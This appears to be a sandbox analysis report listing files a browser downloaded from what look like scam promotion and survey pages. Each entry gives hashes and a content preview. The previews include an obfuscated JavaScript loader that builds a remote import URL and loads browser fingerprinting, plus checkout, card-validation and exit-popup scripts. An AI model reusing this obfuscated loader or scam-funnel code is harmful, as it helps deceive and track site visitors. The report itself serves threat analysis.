Preview:	L..................F.@.. ...$+.,......E....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ICY8.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYB.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCYB.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCYB............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VCYD............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............h......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 15:18:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.993964847808512
Encrypted:	false
SSDEEP:	48:8TdXjT7ywTfH0idAKZdA1duTeehOuTbbiZUk5OjqehOuTbjy+yT+:8VjbTbTfTbxWOvTbjy7T
MD5:	5E48D2CD12AFAA34ABC80EF910FF86DE
SHA1:	907B799F3FFD54FA6D121B38C10052848A2EEB81
SHA-256:	E456405880D2A6790453EA780DB16688AE4634529EBECFD91E70715BB0E0D9E9
SHA-512:	90BEB671BA38A1DB50349592D3AB941D547B5E9B32F8E3B1ED1CB9F7A0D7392B2BA5CC59F796507C18A8215B787D6909D6BE1EAB6C5A124144384B0D609034A9
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....d.(....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ICY8.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYB.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCYB.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCYB............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VCYD............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............h......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24142), with no line terminators
Category:	downloaded
Size (bytes):	24142
Entropy (8bit):	5.227467438213271
Encrypted:	false
SSDEEP:	384:Vo1+7KuC7EzfeBz/21HylS+TefYJSmqZRJG6FfHwHmyZ6jH6/8bkJg26wdmvQMFp:W1+7Kd7EzfeBz/21HylS+TefYCW6FfQI
MD5:	092C4A0A8F166980D43EE01904806851
SHA1:	D38E02EDF4F4C056623A39A2B6C94927F0E72D43
SHA-256:	8598BEB945175324ED286EEA0291E81FEAD306C4BE22A2FAAEA7D735B5FD79DB
SHA-512:	B471856B954D55DA0CF8BDDE6A571983DB3892D0BFA06B3EA230CBAF807BCCD25F0DE26E7F3F16B8E175A3AF608982E2CA4A39268ACD6FF2AFD5BBAAB52BEF9E
Malicious:	false
Reputation:	low
URL:	https://s3.us-west-2.amazonaws.com/jsma/BkJz87K/ma.js
Preview:	var _0x3c9787=_0xccbe;(function(_0x2d1483,_0x22a8fc){var _0x3f7399=_0xccbe,_0x5c721b=_0x2d1483();while(!![]){try{var _0x5e41a1=parseInt(_0x3f7399(0x187))/0x1(parseInt(_0x3f7399(0x140))/0x2)+-parseInt(_0x3f7399(0x166))/0x3(-parseInt(_0x3f7399(0x8b))/0x4)+-parseInt(_0x3f7399(0xa8))/0x5+parseInt(_0x3f7399(0x134))/0x6(parseInt(_0x3f7399(0xdf))/0x7)+-parseInt(_0x3f7399(0x161))/0x8+-parseInt(_0x3f7399(0x146))/0x9(parseInt(_0x3f7399(0x113))/0xa)+parseInt(_0x3f7399(0xc3))/0xb;if(_0x5e41a1===_0x22a8fc)break;else _0x5c721b['push'](_0x5c721b['shift']());}catch(_0x4421ae){_0x5c721b['push'](_0x5c721b['shift']());}}}(_0x5429,0xd162c));let manalytics=function(){var _0x2bc151=_0xccbe;let _0x105952=function(_0x15eb1b){var _0x476596=_0xccbe;let _0x543234=getShortId();if(!_0x543234)return;import(_0x476596(0xc9)+_0x476596(0x151)+_0x476596(0x9a)+_0x476596(0x149)+_0x476596(0xdd)+'.ama'+_0x476596(0xee)+_0x476596(0x17b)+_0x476596(0x143)+_0x476596(0xcd)+'fp.j'+'s')['then'](_0x47b4a2=>_0x47b4a2[_0x476596(0x

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35282)
Category:	downloaded
Size (bytes):	35353
Entropy (8bit):	4.7551466994553815
Encrypted:	false
SSDEEP:	384:VT+rB31vx/jzQ6m4TrhHam31AKj9kQCQ/XaMIY3B1vlvuPnmQ/4A:231vx/fQ6voU+KJkdQ/KM933EOQ/j
MD5:	A47DAFFF5E28A580A228D4A0D4BBF58E
SHA1:	2D1DCB10EC309A77A38A9DC1F4C51900EE4ECC36
SHA-256:	D9B5B2E926355440B0B214DD88894BFA92994160DE9AA1B0DC064B4632477E97
SHA-512:	ABAE99AD191CB5A9346BA099FDB1D5027894E885F85D47779B68B9B988289E2555477F02402C340798C067276FE0928D4B865E73E734581DCE1AE41881B4442E
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/all.css
Preview:	/! Font Awesome Free 5.0.7 by @fontawesome - https://fontawesome.com.* License - https://fontawesome.com/license (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)*/.fa,.fab,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:lef

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (33812)
Category:	dropped
Size (bytes):	34144
Entropy (8bit):	5.66044756551516
Encrypted:	false
SSDEEP:	384:tQQYfKKmHRv60xFRACKJ8E6wXaiKHy/TpoGHw74KdLecKZgc+RW7+5ERNFaqE8Er:tRHHRrm/MltSNyISuNwxJ7eEPcsJV
MD5:	3029AC1921F5B0735CE63619203B879B
SHA1:	C449C72CD117E2784566FC7232AD7B272DE9954A
SHA-256:	54C58B4A9143EE23CEF62C449A9386AF4BDF89755CE680CD95FE14C10B96FA2F
SHA-512:	9F600B3AEF5AA31320AC834F2D78B80C3819F26BF16421BAB375108DC5ED795F251913652AB9C1E0A7ECAFF4E8094F94D95E0BB7D87EF9CD07467905662B4FBB
Malicious:	false
Reputation:	low
Preview:	/*. FingerprintJS v3.4.0 - Copyright (c) FingerprintJS, Inc, 2023 (https://fingerprint.com). * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) license.. . This software contains code from open-source projects:. * MurmurHash3 by Karan Lyons (https://github.com/karanlyons/murmurHash3.js). */.var e=function(){return e=Object.assign\|\|function(e){for(var n,t=1,r=arguments.length;t<r;t++)for(var o in n=arguments[t])Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o]);return e},e.apply(this,arguments)};function n(e,n,t,r){return new(t\|\|(t=Promise))((function(o,a){function i(e){try{u(r.next(e))}catch(n){a(n)}}function c(e){try{u(r.throw(e))}catch(n){a(n)}}function u(e){var n;e.done?o(e.value):(n=e.value,n instanceof t?n:new t((function(e){e(n)}))).then(i,c)}u((r=r.apply(e,n\|\|[])).next())}))}function t(e,n){var t,r,o,a,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return a={next:c(0),throw:c(1),return:c(2)},"function"==typeof Sy

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3362
Entropy (8bit):	5.092247722907376
Encrypted:	false
SSDEEP:	48:0nwV55Khl9RScY+BYg09HJIYMt9HysY0uC2uDTSJv8RA6cgNm:0wV5cNcX+KDnjGcn0u65RAOk
MD5:	5559842A832F16F060CACFD2F91DEF76
SHA1:	FD8D498F976F2D4682678070F3B84BF2CCC8315A
SHA-256:	3B28AF5FAA87A4984A752D49B0CBAFBC8216FDB5E5263793DABA686DA66BEB20
SHA-512:	517E0FF743BEF7D790E2BB9D91CE693A66A837EE5DF356AD4EFD1C57AD610BC507799EB4105CF857D221D38E02CEE852FD290EA87838EEE3DBB5504C2C034403
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/ui-fixing.css
Preview:	/==============landscape modal css=================/..#app_common_modal, #error_handler_overlay {...overflow: -moz-scrollbars-none;...-ms-overflow-style: none;...scrollbar-width: none;..}..#app_common_modal::-webkit-scrollbar, #error_handler_overlay::-webkit-scrollbar {...width: 0px;...background: transparent;..}..#app_common_modal_close, #error_handler_overlay_close {...display: flex;.. justify-content: center;.. align-items: center;.. line-height: 1;..}..#app_common_modal .app_modal_body {.. min-height: auto!important;.. margin: auto !important;.. top: 50%;.. transform: translateY(-50%);..}..#error_handler_overlay .error_handler_body ul {...margin: 0;...padding: 0;..}...error_handler_body ul li{text-align: left !important;}......#app_common_modal .app_modal_body {....margin: 60px auto;...}..@media screen and (max-width:1200px) and (orientation: landscape) {...#app_common_modal .app_modal_body {....margin: 20px auto;....min-height: 250px;...}...#app_common_modal

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	4.663571722222531
Encrypted:	false
SSDEEP:	96:hswZiZfMq85JESNQSsBXy8SO+nLos89iszCu5:VESNQScXdSO+nUs89RCu5
MD5:	1A7B88AF6E8AE2BC49123105E27FD624
SHA1:	CB0CAA758A4A05C8A146101DBBCF40428696DD08
SHA-256:	5F803CB4D2766F5773004B575B909289BA6DB7F35EDF6EDD88CE8E07DAF5910B
SHA-512:	C6B8C9ED2B5CB8571CE6ED037CC29C102B17265469C039D3FDF0C30FC6B30A18F7B2A64261E499AB2DA8B79B397444420EED8B58B3EA760CE8886EBA8FE6976F
Malicious:	false
Reputation:	low
Preview:	'use strict'.var validator = (function() {. /. Regular expressions for vlidations. /. var patterns = {. zip: {. US: /(^\d{5}$)\|(^\d{5}-\d{4}$)/,. default: /^[a-zA-Z0-9-\s]+$/. },. email: {. first: /^[A-Za-z0-9\+]+([-._][A-Za-z0-9\+]+)@([A-Za-z0-9\+]+(-[A-Za-z0-9\+]+)\.)+[A-Za-z]{2,24}$/,. last: /^(?=.{1,64}@.{4,64}$)(?=.{6,100}$).*/. },. phone: /^(?:(?:$?(?:00\|\+)([1-4]\d\d\|[1-9]\d?)$?)?[\-\.\ \\\/]?)?((?:$?\d{1,}$?[\-\.\ \\\/]?){0,})(?:[\-\.\ \\\/]?(?:#\|ext\.?\|extension\|x)[\-\.\ \\\/]?(\d+))?$/i,. cardNumber: {. visa: /^4[0-9]{12}(?:[0-9]{3})?$/,. master: /^(?:5[1-5][0-9]{2}\|222[1-9]\|22[3-9][0-9]\|2[3-6][0-9]{2}\|27[01][0-9]\|2720)[0-9]{12}$/,. maestro: /^(5018\|5020\|5038\|5612\|5893\|6304\|6390\|6759\|676[1-3]\|0604)/,. amex: /^3[47][0-9]{13}$/,. diners: /^3(?:0[0-5]\|[68][0-9])[0-9]{11}$/,. discover: /^6(?:011\|5[0-9]{2})[0-

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4442
Entropy (8bit):	4.708949293504246
Encrypted:	false
SSDEEP:	96:ZFTrEyW3JwQsfPBFf8PjHvYgZQfZWgFkFcqDCviO:ZFTYx+PBl8PjvGf4gFkFcFviO
MD5:	C796B253B1046D7E3C2E3679FC1DDFF3
SHA1:	6614D70D11B4907BC74143EB374F084625D8CCCD
SHA-256:	717C1E30A97C59911B5C41462D952F0CC70536A09878E57CD50EA6C3DBCD4B01
SHA-512:	66D4714485D16C49BA65D856F9139D69F36F0CBDE72FD9D7B58866D98DEAFF1D1A98F44A9E499638E937893819F35EE920FA3233BD2B28EDF6B6F2EC83236B3B
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/outro.js
Preview:	// var offerDetailStep = 'offer_details_step' + app_config.offer_current_step.toString();..// var exitPopup = 'exit_popup' + app_config.downsell_current_step.toString() + '_enabled';..// var exitPopupElem = 'exit_popup' + app_config.downsell_current_step.toString() + '_element_id';..// var exitPopupText = 'exit_popup' + app_config.downsell_current_step.toString() + '_browser_alert_text';....cb.ignoreExitPop = !app_config.exit_popup_enabled;..(function($) {.. $(document).ready(function() {.. window.onbeforeunload = function() {.. if (!cb.ignoreExitPop && $('#' + app_config.exit_popup_element_id).length) {.. cb.ignoreExitPop = true;.. $('#' + app_config.exit_popup_element_id).show();.. return "Want to exit";.. }.. };.. });..})(jQuery);....function ouibounce(el, config) {.. var config = config \|\| {},.. aggressive = config.aggressive \|\| false,.. sensitivity = setDefault(config.sensitivit

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	10227
Entropy (8bit):	4.935299417235197
Encrypted:	false
SSDEEP:	192:CjEqifihiKoly3m9+ymGWbyaQ9UyjaGyp29wiKimi2isiNBUi/QFlNQXiyUihPKb:CjEqifihiKoly3m9+ymbbyaQ9UyjaGyr
MD5:	6DC26A75B23970F5004CAD9CFBD18F09
SHA1:	CFD71681DCEA2F2511B5258F5B4F68F3B38BBD8D
SHA-256:	4766AEABA3931B533B9927FA1347982B3B0866E64DE712220C64772B449B16D2
SHA-512:	BAF76EF7E501A9E366AAA7D0AC3C88F82D2A0A1C41DE29875D2F0BB1E494598B397E63C0E7C2CD3B72EA70AAF1A6B5EC716F3207B831CE50ABE50F741FA28D5F
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/script.js
Preview:	var answers = document.querySelectorAll(".clsnqaaa-select");..var lastQnum = document.querySelectorAll("#nnlstm .clsnqaaa-select").length;....function toNext(ele) {.. if(ele.value=="1"){.. document.getElementsByClassName("bdyaln1")[0].classList.add("animate__animated");.. document.getElementsByClassName("bdyaln1")[0].classList.add("animate__fadeOut"); .. setTimeout(function () { .. document.getElementsByClassName("bdyaln1")[0].style.display = "none";.. }, 500);.. }.. var ancestor = ele.parentElement.parentElement;.. var next = ancestor.nextElementSibling;.. ancestor.classList.add("animate__animated");.. ancestor.classList.add("animate__fadeOut");.. setTimeout(function () {.. ancestor.style.display = "none";.. }, 490).. setTimeout(function () {.. next.classList.add("animate__animated");.. next.classList.add("animate__fadeIn");.. next.style.display = "block".. }, 490)..}......var states = [do

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 705 x 255, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	10260
Entropy (8bit):	7.742661896850859
Encrypted:	false
SSDEEP:	192:JknDHvCMxNJlPUShs5KxW6xUXkOUGFyh2iHxwAV7DjBQTP/z91fwU4s:ynTXjJFjsD6gkIM3VXjBQAi
MD5:	38F097350B31FA6EBB39EAB85FC63F8E
SHA1:	9BFBCB5148F2AF5176DC5E2B03773F67E421E3E6
SHA-256:	B39ED47F181627B09CDF7C8D1C04D443E7D7A8D6C0F207476BC7E18BC53197ED
SHA-512:	00EDADDF34D0F50D625B869F8652F154D5692043B69E108D48A8E5103D629728546AF79C9AEA52D266D22FA0C6414F52DD5B9376EAA5408B13654B3F1D466D00
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............'.......iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-09-15T22:51:09+08:00" xmp:ModifyDate="2024-08-28T21:50:58+08:00" xmp:MetadataDate="2024-08-28T21:50:58+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b0ae7d53-634a-6e42-9f88-a4870b07b30e" xmpMM:DocumentID="xmp.did:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66" xmpMM:OriginalDocumentID="xmp.did:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66"> <p

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 150x150, components 3
Category:	downloaded
Size (bytes):	5057
Entropy (8bit):	7.9139747567298
Encrypted:	false
SSDEEP:	96:2sO/+MdFyFoOAS4bp5kY5uUiZiUoDEP6Stp5KaTV:2UMqGFSGpKY5uFZi1DEZTV
MD5:	5A42773B0372EEB258F5248AA0710C51
SHA1:	48A6DBDB4CC2945FCA378094C69106F7E4EF1F48
SHA-256:	2B03C530526AC6B24FF8461F5A2BA8BEE3EC8F3E31CCB1A67DE3550595E07D18
SHA-512:	ABDE818DCA7515D4C99C4E81A289833D19D583014D796C7CEA8CD1CB52499394EFEBDA68FFEAC18740B2B878276548032307AE644CC9CB052D6027565B0147E6
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/1.jpg
Preview:	......JFIF.....H.H.....C...........................".##!. %5-%'2( .?/279<<<$-BFA:F5;<9...C...........9& &99999999999999999999999999999999999999999999999999...........".......................................?.........................!.1.AQa"q..#2...BR...3b....c.$%5CS................................"......................!.1.A."Q2.............?.x.:(.M"...m.a..{.k..E.C..!.\|.......V...>..f.u.......l.3..I...Yc....W..'..+......3g....n.,..(s.'.1...k-Q..9p.C..x.cI.&Y..6j...C.......^...C......./..q..j.i..p...v`3....4.... ..(.X....@.k.x.v...BJ....L..{...2Fo.s..k...GH..tk4e].2.`.o\.......?.^...VqJ..QS+....XI...4~.O.O..y.`..n..ROT.`...hz.5...c,.#wc........\\|Wr!..s.H.a..]Kq..#..h.8...H#.....<.]......!.........mn./...>.".."2v.X.q.P(..v....T<`..D.. .}.."?:J.6.4..E..6>...I...O#..u.S..'..."\|x...@&.d.O.8e..<F......n..+.~H........4..W.a..Kg.I.@7d....=k8....+..OE.._g.c..nMbV..X" 1o3.+G.4.;[E.[.q.%i;...$.6Dr..4.5.P....O.X....].-.x. .N.....J.R[._......

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	11743
Entropy (8bit):	5.358391598302822
Encrypted:	false
SSDEEP:	192:+fNOfQf/f5L5fqfruy8fVbqGIwY9fCnfuofK/XLWqaU6uy1rbqGIwYud1Bf:+lO4HBtiCZZq996nzMzEq9o
MD5:	66C210CF89516717B9B050A23109DD51
SHA1:	D0E4B53CF172DD7B834EFBD456359C0D2FCF5CE9
SHA-256:	631A2253C93D9DB42E74C350607229A629B1878C702051B253E1174B889EE3C2
SHA-512:	980EF5C33DA3E68654A3490EF7EA84F6FDF9035AA8DD4D8A06DD1A34D3F3EA332BD84A5C9AC7297B95F1DFDC94907598F996997D7C883D6CA32439AEBE871F51
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css2?family=Open+Sans:ital,wght@0,300..800;1,300..800&display=swap"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Open Sans';. font-style: italic;. font-weight: 300 800;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtE6F15M.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Open Sans';. font-style: italic;. font-weight: 300 800;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWvU6F15M.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext */.@font-face {. font-family: 'Open Sans';. font-style: italic;. font-weight: 300 800;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtU6F15M.woff2) format('woff2');. unicode-range: U+

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10168), with no line terminators
Category:	downloaded
Size (bytes):	10168
Entropy (8bit):	5.1135143838763994
Encrypted:	false
SSDEEP:	192:/emu4mqGAAubIIojCroJKxbF2enoSc3li9+v16tEL1PZQRA4IfUv2/YY+OKHeeai:Di25ogg73lCA16tWPZQRAh9/x+Ofeap4
MD5:	3B4E5186EA8BEE7045B515357C1A6CE3
SHA1:	9797A63E580B5F9EC8543744DEAE8E7231FD9D12
SHA-256:	6CAF13740D5C60CA2000EA3D29617163E6C72636984AAA0FA0721C24F758D6A8
SHA-512:	E8ACADDC712024CA2C30E7DA7D67148D1DAD673FFBA1059363F07E37A520BA84CADE801473F16DC875CEB2A5CBD6360D9F8395BBC1099B0DC1EE111AB47D9028
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/style.min.css
Preview:	.bdyaln2,.bdyaquestion .clsnqa,.bdyaquestion h2,.clsnqaaa-verif-content,.con-body button,.dbybcarret,.footer-content,.hda-ln2,.prrza .prrzaoln1,.prrza .prrzbobtn{text-align:center}.con-bottom-bar,.mod-con{position:fixed;width:100%}:root{--btnbg:#041c2c;--btnclr:#fff;--btnbrdr:#041c2c;--btnbg-hover:#000000;--btnclr-hover:#fff;--btnbrdr-hover:#000000;--hdbg-ln1:#003da5;--hdclr-ln1:#fff;--hdbg-ln2:#fff;--hdclr-ln2:#222;--bdy-fttr-brdr:#003da5;--prz-otr-brdr:#003da5;--tmrbg:#003da5;--tmrbrdr:#041c2c;--tmrclr:#fff;--tmrboxbg:#fff;--tmrboxclr:#f70000;--modfttrbg:#929292;--modfttrbrdr:#fff}body{padding:0;margin:0;background-color:#e2e2e2;font-family:sans-serif;font-size:14px;background-image:url('bg.jpg');background-attachment:fixed;background-position:center;background-repeat:repeat-y;background-size:cover}.con-body button{font-size:18px;font-weight:600;background-color:var(--btnbg);color:var(--btnclr);padding:.6rem;margin-bottom:.5rem;width:80%;border:1px solid var(--btnbrdr);border-radius:

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 77160, version 4.459
Category:	downloaded
Size (bytes):	77160
Entropy (8bit):	7.996509451516447
Encrypted:	true
SSDEEP:	1536:/MkbAPfd1vyBKwHz4kco36ZvIaBfRPlajyXUA2jVTc:L0nXnHdfRVEAS2
MD5:	AF7AE505A9EED503F8B8E6982036873E
SHA1:	D6F48CBA7D076FB6F2FD6BA993A75B9DC1ECBF0C
SHA-256:	2ADEFCBC041E7D18FCF2D417879DC5A09997AA64D675B7A3C4B6CE33DA13F3FE
SHA-512:	838FEFDBC14901F41EDF995A78FDAC55764CD4912CCB734B8BEA4909194582904D8F2AFDF2B6C428667912CE4D65681A1044D045D1BC6DE2B14113F0315FC892
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/fonts/fontawesome-webfont.woff2
Preview:	wOF2......-h..........-.........................?FFTM.. .`..r.....(..X.6.$..p..... .....u[R.rGa......'.=.:..&..=r........].t..E.n.......1F...@....\|....f.m.`.$..@d[BQ.$([U<+(..@P.5..`....>.P..;.(..1..l..h...)..Yy..Ji......\|%..^..G..3..n........D..p\Yr .L.P.....t.)......6R.^"S.L~.YR.CXR...4...F.y\[..7n..\|.s.q..M..%K......,.....L.t.'....M.,..c..+b....O.s.^.$...z...m...h&gb...v.....'..6.:....s.m.b.1.m0"....*V.....c.$,0ATPT.1.....<..;...`..'.H.?.s.:..ND.....I..$..T..[..b4........,....bl6...IL.i}.&.4.m,'....#....Rw..bu..,K......v....m_-...\H....HH.......?...m..9P...)9.J..$.....8......~.;.r..n.=$.....Nddn.!'....;...8..'.N...!.-..J.........X.=.,......"`:....... {......K!'...-FH....#$~.Z_.......N5VU8F....%.P..........Cp..$.Q.......r.....k.k...3...:R.%....2{.....h%.)8..........ILK.6v.#......,;.6..N.2.hv...........OO..t#....xT..Bf....q^.#....?{.5b.I..%-WZ..b.A...^.1..n5.....NQ.Y'.........S.....!t" .`b3..%....35....fv;....l..9.:jgf?gr..p.x. ..\|.. $. e.

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	26864
Entropy (8bit):	4.450488644916333
Encrypted:	false
SSDEEP:	192:s4D0NVplSCZ21hSojCPyTzG86ynm+D+xDDGhsLixtDZexODHxtDvxveLDQEfczWQ:sv81+/qXmtySxsooVcBWOwRkUH1xD
MD5:	E777336EBBB56DB36E292823780F09FB
SHA1:	621F1AECD0565C941D37E5F3C0C4618772972CE6
SHA-256:	248944A75BE90143537233C41B7A29CBCB88F6C0644B86E93FD222DD1F0E9E2E
SHA-512:	EFA000B2F3DE032BAA6979AD0FD47D411F288DAE3E722812E6C58B182D414B897DB70F3505F25AF185FC8AAE8F134DCB83849CE283F8692BF23E04751DCB355E
Malicious:	false
Reputation:	low
Preview:	var cb = (function($) {. 'use strict'. $(window).keydown(function(e) {. if (e.which === 27 && $('#error_handler_overlay').length) {. $('#error_handler_overlay').remove();. }. });. $(document).off('click', '#error_handler_overlay_close');. $(document).on('click', '#error_handler_overlay_close', function(event) {. event.preventDefault ? event.preventDefault() : (event.returnValue = false);. $('#error_handler_overlay').remove();. });. var ignoreExitPop = true;. var beforeFormSubmitEvents = [];. var currentFormSubmitEvents = [];. var validClass = app_config.valid_class;. var errorClass = app_config.error_class;. var loadingClass = app_config.loading_class;. var formActions = {. 'prospect': 'prospect',. 'checkout': 'checkout',. 'downsell1': 'downsell',. 'downsell2': 'downsell',. 'upsell': 'upsell'. };. var prospectFormFields = {. firstName: {},. lastName: {},.

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	6.84535756553074
Encrypted:	false
SSDEEP:	6:6v/lhPQ964ZyeU76p9odgL3s0NlqSnlRA0ikkTX0Ji6tjiIfN0l2up:6v/7M64ZyeU76sdgjfl6FkkTXxvTl7
